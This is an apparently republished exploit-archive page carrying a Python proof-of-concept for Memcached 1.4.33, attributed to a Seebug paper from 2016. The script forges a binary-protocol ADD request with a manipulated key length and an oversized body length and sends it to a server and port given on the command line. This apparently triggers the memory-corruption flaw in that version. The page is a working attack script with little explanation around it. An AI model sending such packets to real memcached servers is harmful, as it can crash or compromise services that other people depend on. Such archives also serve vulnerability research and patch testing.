首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Memcached 1.4.33 - PoC (2)
来源:http://paper.seebug.org 作者:dawu 发布时间:2016-11-04  
# Source: http://paper.seebug.org/95/
 
import struct
import socket 
import sys
 
 
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa) 
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0) 
opaque = struct.pack("!I",0) 
CAS = struct.pack("!Q",0) 
extras_flags = 0xdeadbeef 
extras_expiry = struct.pack("!I",0xe10) 
body = "A"*1024
 
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len 
packet += data_type + vbucket + body_len + opaque + CAS 
packet += body 
if len(sys.argv) != 3: 
        print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((sys.argv[1],int(sys.argv[2]))) 
s.sendall(packet) 
print s.recv(1024) 
s.close()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Memcached 1.4.33 - PoC (1)
·Memcached 1.4.33 - PoC (3)
·Rapid PHP Editor 14.1 - Remote
·SweetRice 1.5.1 - Arbitrary Fi
·WinaXe 7.7 'FTP client' - Remo
·Axessh 4.2 - Denial Of Service
·Microsoft Internet Explorer 11
·PCMan FTP Server 2.0.7 - 'ACCT
·Bassmaster 1.5.1 - Batch Arbit
·IBM AIX 6.1/7.1/7.2.0.2 - 'lsm
·Linux Kernel (Ubuntu / Fedora
·IBM AIX 5.3/6.1/7.1/7.2 - 'lqu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved